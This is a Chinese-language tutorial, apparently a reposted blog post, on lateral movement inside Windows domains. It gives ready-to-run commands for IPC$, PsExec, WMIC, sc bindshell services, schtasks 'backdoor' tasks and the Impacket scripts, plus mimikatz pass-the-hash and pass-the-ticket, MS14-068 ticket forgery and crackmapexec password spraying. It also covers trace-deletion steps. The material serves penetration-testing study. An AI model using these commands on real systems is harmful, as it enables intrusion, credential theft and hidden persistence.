内网横向移动常用方法

横向移动

#横向移动含义
横向移动是以已经被攻陷的系统为跳板,通过收集跳板机的信息(文档,存储的凭证,ipc连接记录等等信息)来访问其他域内主机。#常见横向手段
1,通过相同的用户名密码批量ipc连接其他域内主机
2,使用mimikatz丰富密码字典进行爆破
....横向的前提是已经做好了信息收集,并且知道了域内的其他主机的ip地址以及账号密码等信息。

ipc

共享“命名管道”的资源,为了实现进程间通信而开放的命名管道,可通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。# ipc功能
通过icp,可以域目标主机建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行文件上传、下载操作,还可以在目标机器上运行其他命令,获取目标机器的目录结构,用户列表等
  • 横向方法
1,使用net use查看是否有会话
如图出现以下说明这台主机和别的主机有过ipc连接,可以再次连接,通过猜解用户名密码2,使用命令进行连接
net use \\192.168.110.143\ipc$ "Aa123456" /user:administrator3,连接成功后可使用以下命令来获取远程主机信息
# dir
dir \\192.168.110.134\c$    //可列出远程主机中的文件# tasklist
tasklist /S 192.168.110.134 /U administrator /P Aa123456

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 利用的前提条件
1,主机开启了139 445端口。139和445端口可以实现对共享文件的访问
2,管理员开启了默认共享。默认共享是为了管理员进行远程管理默认开启的,通过ipc可以实现对这些默认共享目录的访问。
3,知道远程主机的用户名和密码(可利用mimikatz导出)
  • ipc$连接失败的原因
1,用户名或密码错误
2,目标未打开ipc共享
3,不能连接目标的139 445端口

psexec

psexec 是 windows 下非常好的一款远程命令执行工具,可以在远程计算机上执行命令。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
  • 使用psexec的前提
1,对方主机开启了 admin$ 共享2,对方未开启防火墙3,知道远程主机的用户名和密码(可利用mimikatz导出)4,如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。5,如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
  • 横向方法
1.如果建立了ipc连接的情况下,可以直接执行命令,获取system权限的shell
2,如果没用进行ipc连接,可以通过指定账户和密码进行远程连接并获取shell
  • 建立ipc连接情况下获取shell
PsExec.exe -accepteula \\192.168.183.130 -s cmd.exe             //-s 以system权限运行远程连接,获取一个system权限的交互式shell,如果不用-s会弹出administro的shell

在这里插入图片描述

  • 建立ipc连接情况下获取shell
PsExec.exe -accepteula -u Administrator -p Aa123456 \\192.168.183.130 -s cmd.exe

在这里插入图片描述

wmic

WMIC 是 Windows Management Instrumentation (WMI) 的命令行实用工具,用于管理和操作 Windows 系统。WMIC 可以通过命令行界面执行各种系统管理任务,包括查询系统信息、操控硬件资源、管理软件安装、调整网络设置等# wmic优点
1,windows操作系统默认不会把wmi的操作记录在日志中,因为这个过程不会产生日志,所以对网络管理员来说增加了攻击溯源成本
  • 利用的前提条件
1,使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)
2,知道远程主机的用户名和密码(可利用mimikatz导出)
3,wmic命令没有回显,需要使用ipc$和type命令来读取信息
  • 横向方法
1,可通过wmic以administrator连接到主机,创建一个进程执行ipconfig将命令写入到1.txt中,使用ipc连接type命令查看1.txt文件内容2,查询远程主机进程信息
  • 创建进程执行命令
创建进程:
wmic /node:192.168.110.134 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\1.txt"ipc连接type查看1.txt
type \\192.168.52.138\c$\result.txt

在这里插入图片描述
在这里插入图片描述

  • 查询远程主机进程信息
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief

在这里插入图片描述

sc

在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
  • 利用的前提条件
1.建立了ipc连接
  • 横向方法
1,先建立ipc连接,使用copy操作将木马复制到目标主机
2,使用sc创建一个启动程序的服务
3,立即启动服务
4,删除创建的服务
5,关闭防火墙
  • 建立连接,复制木马
copy 1.bat \\192.168.110.134\c$

在这里插入图片描述

  • sc创建服务
sc \\[主机名/IP] create [servicename] binpath= "[path]"   #创建计划任务启动程序  等号后面要有一个空格,不然会报错eg:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"

在这里插入图片描述

  • 立即启动创建的服务
sc \\WIN-ENS2VR5TR3N start bindshell      //如果一直报错,尝试以管理员身份运行cmd

winrm

WinRM 作为 Windows 操作系统的一部分,是一项允许管理员在系统上远程执行管理任务的服务。
  • 使用前提
1,操作系统要求:WinRM 是 Windows 操作系统内置的远程管理协议,所以需要在 Windows 操作系统上才能使用。支持 WinRM 的 Windows 操作系统版本包括 Windows Vista 及更高版本。2,远程访问权限:运行 WinRM 命令的用户需要在目标主机上拥有管理员或相应的远程访问权限。通常需要在目标主机上启用 WinRM 服务,并配置相应的防火墙规则。3,协议支持:WinRM 基于 Web Services Management (WS-Management) 协议,需要目标主机上启用 WinRM 相关的 Windows 功能。默认情况下,WinRM 服务通过 HTTP 端口 5985 和 HTTPS 端口 5986 进行通信。4,身份验证:WinRM 支持多种身份验证方式,如基本身份验证、Kerberos 身份验证、证书身份验证等。需要确保目标主机上已经正确配置了相应的身份验证方式。
  • 客户端安装winrm
1,先启用winrm服务
winrm quickconfig2,查看winrm配置
winrm get winrm/config

在这里插入图片描述
在这里插入图片描述

  • 横向方法
1,使用winrs去访问运行winrm的远程服务器,并且执行命令//winrs Windows 的远程 Shell,它相当于 WinRM 的客户端,使用它可以访问运行有 WinRM 的服务器,不过自己也得装上 WinRM 才能运行 WinRS2,使用winrs去访问运行winrm的远程服务器,并且获取shell
  • 执行命令
 winrs -r:[ip] -u:[username] -p:[password] <command>eg:winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami//5985是winrm对应服务的http默认端口,https默认端口为5986

在这里插入图片描述

  • 如果有报错
如果出现以下报错,运行命令
winrm set winrm/config/Client @{TrustedHosts="*"}

在这里插入图片描述
在这里插入图片描述

  • 获取shell
winrs -r:http://192.168.110.134:5985 -u:administrator -p:Aa123456 cmd

在这里插入图片描述

impacket包

Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。下载地址:https://github.com/fortra/impacket
下载后脚本位置在impacket\impacket-master\examples下不知道脚本的用法统一使用python 脚本名.py
例如atexec.py  使用python atexec.py之后会有各种参数以及脚本的使用方法
  • impacket包使用
1,先安装setuptools
pip install setuptools2,安装包中脚本需要的库
python setup.py install

在这里插入图片描述

  • 横向方法
psexec.py:微软工具psexec的python版本,支持了hash横向,通过windows服务进行横向移动。smbexec.py:类似于psexe的自定义版,其修改了psexec自动安装服务器到Admin$下的特点,smbexec通过手动安装服务器文件到自定义的位置。atexec:利用远程计划任务进行命令执行并获取结果。wmiexec.py:利用wmi组件,通过135端口上的RPC进行横向移动。dcomexec.py:利用windows提供的DCOM接口进行横向移动,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
psexec.py
  • 使用前提
1,开放135 139 445端口
2,知道远程主机的用户名和密码
3,管理员权限: 要求运行 psexec.py 的用户拥有目标系统的管理员权限。这是因为 psexec.py 需要在远程系统上执行命令,而这需要提升的权限。
4,目标系统开启远程过程调用(DCOM): 目标系统需要开启远程过程调用(DCOM)服务,否则 psexec.py 将无法与之进行通信。可以在目标系统的"服务"中查看并确保该服务运行。
5,目标系统防火墙允许访问
6,目标系统操作系统支持: psexec.py 支持在Windows系统上运行,包括Windows XP、Windows 7、Windows 8/8.1、Windows 10等常见的Windows操作系统。# 常用参数
-port [destination port] 指定目标SMB的端口
-codec codec 目标回显的编码,可先执行chcp.com拿到回显编码
-service-name service_name 指定创建服务的名称,默认随机
-remote-binary-name remote_binary_name 指定上传文件的名称,默认随机
  • 横向方法
1、连接远程计算机的admin$共享,获取shell
2,进行命令执行
  • 获取shell
./psexec.py 域名/用户名:密码@远程主机ip号eg:python psexec.py cx/Administrator:Aa123456@192.168.1.140

在这里插入图片描述

smbexec.py
  • 使用前提
1,知道远程主机的具有管理员权限的用户名密码,或者密码hash值
2,远程主机开放了admin$、ipc$、c$、d$其中一个共享
3,开放135 139 445端口
4,目标系统开启SMB服务: 目标系统需要开启SMB服务,smbexec.py 会通过SMB协议与目标系统进行通信。#功能
它可以列出共享和文件,重命名某些文件,上传二进制文件或从目标计算机下载文件。
  • 横向方法
1,使用smb.py通过获取的密码值或hash值来连接远程主机,获取shell
  • 获取shell
使用方法:
python smb.py 域名/远程主机用户名:远程主机密码@远程主机ipeg:
python smbexec.py cx/Administrator:Aa1234567@192.168.110.134

在这里插入图片描述

atexec.py
  • 使用前提
1,知道远程主机具有管理员权限用户的密码或hash,或者有kerberos认证(aeskeys值)
2,目标系统支持AT命令: 目标系统需要支持AT命令,用于计划执行远程任务。Windows从Windows XP开始一直支持AT命令。
3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 atexec.py 连接所需的端口,通常是135、139和445端口。
  • 横向方法
1,使用atexec.py直接命令执行
  • 命令执行
使用方法:
python atexec.py 域名/远程主机用户名:远程主机密码@远程主机ip 需要执行的命令python atexec.py cx/Administrator:@caixia1314520@192.168.110.134 ipconfig

在这里插入图片描述

wmiexec.py
  • 使用前提
1,目标系统开启WMI服务: 目标系统需要开启Windows管理规范接口(WMI)服务,wmiexec.py 会通过WMI与目标系统进行通信。2,目标系统用户账号: 需要提供一个在目标系统上具有管理员权限的用户账号和密码,以便 wmiexec.py 能够成功登录并执行命令。3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 wmiexec.py 连接所需的端口,通常是135、139和445端口。
  • 横向方法
1,运行wmiexec.py获取shell
  • 获取shell
python wmiexec.py 域名/远程主机用户名:远程主机密码@远程主机ip
dcomexec.py
  • 使用前提
1,目标系统开启DCOM服务: 目标系统需要开启分布式组件对象模型(DCOM)服务,dcomexec.py 会通过DCOM与目标系统进行通信。2,目标系统用户账号: 需要提供一个在目标系统上具有管理员权限的用户账号和密码,以便 dcomexec.py 能够成功登录并执行命令。3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 dcomexec.py 连接所需的端口,通常是135、139和445端口。4,管理权限: 运行 dcomexec.py 的用户需要拥有管理员或相当权限,以便能够在远程系统上执行命令。5,目标系统支持DCOM: dcomexec.py 主要针对Windows系统,需要确保目标系统支持DCOM,通常从Windows 2000开始就支持。6,选择合适的DCOM对象: dcomexec.py 需要指定要利用的DCOM对象,不同的对象会有不同的功能和权限,需要选择合适的对象。
  • 横向方法
python dcomexec.py 域名/域管理员用户名:@密码@远程主机ippython dcomexec.py cx/Administrator:@caixia1314520@192.168.110.134

在这里插入图片描述

计划任务

# 计划任务功能
可以通过跳板机在目标主机创建计划任务,在计算机在指定的时间内执行木马程序,从而获得对内网目标主机的控制
at
  • 使用at的前提和流程
#使用at的前提 
1,使用at主要作用于winserver 2008之前的版本
2,建立了ipc连接# at创建计划任务流程
1,使用net time确定当前系统时间(为了计划任务在指定的时间内运行,需要知道现在的时间)
2,使用copy命令将payload文件复制到远程目标机器中
3,使用at命令定时启动该payload文件
4,删除使用at命令创建计划任务的记录
  • 查看系统时间
net time \\192.168.110.134

在这里插入图片描述

  • 将文件复制到远程目标机器中
copy 1.bat \\192.168.110.134\c$

在这里插入图片描述

  • 使用at定时启动该文件
at \\192.168.110.134 18:53:00 1.bat
  • 将at记录删除
at \\192.168.183.130 1 /delete  // 1为计划任务的ID
schtasks
  • 使用schtasks的前提和流程
# 使用schtasks的前提
1,windowserver2008之后的系统
2,建立了ipc连接# schtasks使用流程
1. 先与目标主机建立ipc连接
2. 然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。
3. 在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe(shell.exe可以换成calc内容的1.bat文件,这样更好看到效果),启动权限为system。
4,删除计划任务痕迹
  • 创建一个计划任务
schtasks /create /s 192.168.110.134 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f

在这里插入图片描述

  • 忽略任何限制立即运行任务
schtasks /run /s 192.168.110.134 /i /tn backdoor /u administrator /p Liu78963 // i:忽略任何限制立即运行任务

在这里插入图片描述

  • 可看到目标机器已运行计算机

在这里插入图片描述

  • 删除计划任务痕迹
schtasks /delete /s 192.168.110.134 /tn "backdoor"  /u administrator /p Liu78963 /f 

在这里插入图片描述

  • 删除ipc$
net use \\192.168.110.134\ipc$ /del /y

在这里插入图片描述

hash传递

pth(通过NTLM)
pass the hash(hash传递攻击,简称 PTH),在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。
总结:使用相同的账号密码去逐个试探登录内网其他主机PTH 攻击的优点:
1.在目标主机中我们通常很难获取到明文密码,而使用 hash,无需明文密码即可正常登录。PTH 攻击利用条件:
被 pth 攻击的计算机未打补丁(KB2871997)
拿到一台域成员主机并且拿到管理员组的域用户的 NTML
对方主机存在相同账号并且是管理员组成员
  • 横向方法
1,使用mimikatz获得管理员权限并抓取域管理员hash值
2,将抓取到的hash值添加到lsass中去,并使用mimikatz进行pth攻击
  • 提权并获取ntml值
privilege::debug
sekurlsa::logonpasswords

在这里插入图片描述

  • 将抓取到的hash值添加到lsass中去,并使用mimikatz进行pth攻击
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:b8076aee855c079e331af957e503e52
  • 会弹窗远程域控主机的cmd的窗口

在这里插入图片描述

  • 列出域控制器的c盘目录(要使用主机名,不能用IP,否则报错)

在这里插入图片描述

ptk(通过kerberos密钥)
pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能ptk利用条件:
1,安装了KB2871997补丁(安装补丁后pth除非是管理员(sid为500使用whoami/user)权限,否则无效,并且安装补丁后无法通过本地管理员权限对远程计算机使用psexec wmi smbexec schtasks at,也无法访问远程主机的文件共享等)
2,系统版本大于windows server 2012
  • 获取aes256值(或者aes128也可以)
sekurlsa::ekeys

在这里插入图片描述

  • 使用以下命令,获取管理员cmd
sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值

在这里插入图片描述

在这里插入图片描述

ptt(通过票据)
ptt是指攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。ptt 和 pth 之间的一个主要区别是 Kerberos TGT ticket 会过期(默认为10小时),而 NTLM hashes 只有在用户改变密码时才会改变。因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天),并且ptt不需要管理员权限,pth需要管理员权限
  • 横向方法
1,查看当前用户userid
2,使用mimikatz清除所有票据
4,生成新的票据
3,将票据文件注入内存
  • 查看当前用户userid
whoami/user

在这里插入图片描述

  • 清除所有的票据
mimikatz # kerberos::purge

在这里插入图片描述

  • 使用ms14-068生成新的票据

    MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。MS14-068 利用工具下载地址:
    https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
    
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

在这里插入图片描述

  • 使用mimimkatz将票据注入内存
kerberos::ptc 票据名
  • 将高权限的票据文件注入后,可列出远程计算机文件目录

在这里插入图片描述

crackmapexec工具使用

crackmapexec工具支持smb和winrm等协议执行命令、枚举域信息、密码攻击以及检测安全漏洞。kali自带的工具,支持以下协议

在这里插入图片描述

smb
smb连接执行命令
-x:调用cmd# 使用明文执行命令
crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'# 使用hash值执行命令(ntml)
crackmapexec smb 192.168.216.144 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:ff1a0a31d936bc8bf8b1ffc5b244b356' -x 'whoami'
  • smb常用枚举功能
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups  枚举域组crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt   枚举不需要smb签名的主机crackmapexec smb <ip> -u user -p pass -M enum_av   枚举主机上的杀软crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!'  --shares 列出共享 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --sessions 枚举有效sessionscrackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --disks  列出磁盘crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --loggedon-users 枚举登录用户crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --users 枚举域用户crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --rid-brute  通过爆破RID枚举用户crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --pass-pol 获取域密码策略crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth 验证本地用户,并且测试登录
  • 密码喷洒
crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18   多个用户,一个密码进行喷晒
crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18    使用users.txt 用户列表文件指定多用户喷晒
crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt   爆破administrator用户密码
winrm
winrm连接执行命令crackmapexec wimri 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/407575.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【学习笔记】Day 22

一、进度概述 1、机器学习常识23-24&#xff0c;以及相关代码复现 2、python 补完计划&#xff08;详见 python 专题&#xff09; 二、详情 23、U-Net 从宏观结构上来讲&#xff08;以下摘自常识23&#xff09;&#xff1a; U-Net 就是 U 形状的网络, 前半部分 (左边…

三星计划今年HBM4设计,2025年初开始样品测试

三星计划今年晚些时候完成首款HBM4内存设备的设计定稿&#xff0c;2025年初开始样品测试 根据nN Elec援引行业消息人士的报道&#xff0c;三星计划在今年晚些时候完成首款HBM4内存设备的设计定稿&#xff0c;并预计将于2025年初开始样品测试。该公司预计将采用其最新一代10纳米…

详细分析 el-progress的基本知识以及用法(附Demo)

目录 前言1. 基本知识2. Demo3. 实战 前言 由于实战项目中有所引用&#xff0c;对此记录基本的知识点&#xff0c;并且以Demo的形式呈现 1. 基本知识 el-progress 是 Element Plus UI 库中的一个进度条组件&#xff0c;用于显示任务的完成情况 可以帮助用户了解某个操作或任…

[数据集][目标检测]工程机械车辆检测数据集VOC+YOLO格式3189张10类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;3189 标注数量(xml文件个数)&#xff1a;3189 标注数量(txt文件个数)&#xff1a;3189 标注…

密码生成器(HTML+CSS+JavaScript)

&#x1f30f;个人博客主页&#xff1a;心.c ​ 前言&#xff1a;前两天写了密码生成器&#xff0c;现在跟大家分享一下&#xff0c;大家如果想使用随便拿&#xff0c;如果哪里有问题还请大佬们给我指出&#xff0c;感谢支持 &#x1f525;&#x1f525;&#x1f525;专题文章&…

Vue3集成高德离线地图实践

1. 离线地图效果预览 2. 地图下载器下载离线地图 根据需要选择地图&#xff0c;我这边选择高德地图&#xff0c;层级选择0-15级别即可&#xff0c;进行下载 3. 放到nginx内网服务器 注意配置允许跨域 4. Vue3核心代码 // main.js // 初始化vue-amap initAMapApiLoader({o…

Android自定义简单TextView

自定义属性 <declare-styleable name"TextView"><!--name 属性名称format 格式&#xff1a;string 文字 color颜色dimension 宽高 字体大小 integer数字reference 资源引用(drawable)--><attr name"YiRanText" format"string"/&…

torchvision中的数据集使用

1.数据集&#xff1a; 自定义数据集transforms中的类 如何将数据集和transforms结合在一起&#xff1f; 以CIFAR10为列 2.CIFAR10数据集的下载与导入 import torchvisiontrain_settorchvision.datasets.CIFAR10(root"./dataset",trainTrue,downloadTrue) test_set…

判别分析2|Bayes判别分析|Fisher判别分析|软件求解

Bayes判别分析 引入先验信息 距离判别只要求知道总体的数字特征&#xff0c;不涉及总体的分布函数 当均值和协方差未知时&#xff0c;就用样本的均值和协方差矩阵做估计值。距离判别方法简单实用&#xff0c;但没有考虑到每个总体出现的机会大小&#xff0c;即先验概率&#…

Git的使用教程及常用语法03

七.如何从版本库中删除文件 第一种方式&#xff1a;直接在工作区删除文件&#xff0c;然后提交 rm ffile1.txt (注意&#xff1a;这个不是git命令&#xff0c;而是linux命令) 看到状态发现&#xff0c;文件file1.txt已经被删除&#xff0c;提示需要提交到暂存区。 因为我们只…

从开发到集成:视频美颜SDK与直播美颜API详解

在本文中&#xff0c;我们将详细探讨视频美颜SDK的开发过程及其与直播美颜API的集成方案&#xff0c;帮助开发者更好地理解和应用这些技术。 一、视频美颜SDK的开发概述 视频美颜SDK是一个用于实时视频处理的开发工具包&#xff0c;提供了包括磨皮、美白、瘦脸、眼睛放大等多…

盘古信息IMS MCM制造协同管理系统:为中小企业数字化转型量身打造的数字化方案

近年来&#xff0c;全球经济的不稳定性&#xff0c;给中小企业的经营和发展带来了巨大的挑战。为提升企业竞争力&#xff0c;中小企业纷纷谋求数字化转型路径&#xff0c;优化生产流程、提高运营效率、降低生产成本&#xff0c;以应对变幻莫测的市场环境。IMS MCM是盘古信息为广…

python爬虫521

爬虫521 记录 记录 最近想学爬虫&#xff0c;尝试爬取自己账号下的文章标题做个词云 csdn有反爬机制 原理我就不说啦 大家都写了 看到大家结果是加cookie 但是我加了还是521报错 尝试再加了referer 就成功了(╹▽╹) import matplotlib import requests from wordcloud impor…

TinaSDKV2.0 自定义系统开发

TinaSDKV2.0 自定义系统开发 什么是自定义系统&#xff1f; TinaSDK Kconfig界面配置 Tina Linux采用 Kconfig 机制对 SDK 和内核进行配置。 Kconfig 是一种固定格式的配置文件。Linux 编译环境中的 menuconfig 程序可以识别这种格式的配置文件&#xff0c;并提取出有效信息…

使用redis模拟cookie-session,例子:实现验证码功能

在前后端分离架构中不建议使用cookie-session机制实现端状态识别 原因&#xff1a; 1.前后端分离存在跨域问题&#xff0c;cookie无法共享 2.后台服务器一旦建立集群&#xff0c;可能导致session数据丢失&#xff0c;即后台有多台服务器&#xff0c;每个服务器存的session不一…

Flutter ListView控件

ListView是flutter中线性排列的可滚动的列表部件。ListView 是最常用的滚动小部件。它在滚动方向上一个接一个地显示其子项。在交叉轴上&#xff0c;子项需要填满 ListView。 如果非空&#xff0c;则 itemExtent 会强制子项在滚动方向上具有给定的范围。 如果非空&#xff0c;…

kafka的一个有趣问题(BUG)

这是我的第104篇原创文章 问题由来 在使用kafka时&#xff0c;创建topic&#xff0c;对某个topic进行扩分区的操作&#xff0c;想必大家肯定都使用过。尤其是集群进行扩容时&#xff0c;对流量较大的topic进行扩分区操作。一般而言&#xff0c;期望的效果是&#xff1a;新扩的分…

【Qt】常用控件QPushButton

常用控件QPushButton QWidget中涉及的各种属性/函数/使用方法&#xff0c;对Qt中的各种控件都是有效的。 QPushButton继承自QAbstractButton。这个类是抽象类&#xff0c;是其他按钮的父类。 QAbstractButton中和QPushButton相关性比较大的属性。 属性说明 text 按钮中的⽂本…

TCP/UDP的对比,粘包分包抓包,http协议

服务器端&#xff1a; 一、loop 127.0.0.1本地回环测试地址 二、tcp特点 面向连接、可靠传输、字节流 粘包问题&#xff1a;tcp流式套接字&#xff0c;数据与数据之间没有套接字&#xff0c;导致可能多次的数据粘到一起 解决方法&#xff1a;&#xff08;1&#xff09;规…

后端Java秋招面试中的自我介绍需要说什么?

本文主要面向校招/实习面试中求职后端开发岗位的同学&#xff0c;其他岗位/社招的同学也可以参考&#xff0c;道理都是相通的 1 背景 1.1为什么要认真准备自我介绍&#xff1f; 1. 必要性&#xff1a;在求职面试中&#xff0c;一般来说同学和面试官打过招呼之后第一项就是自…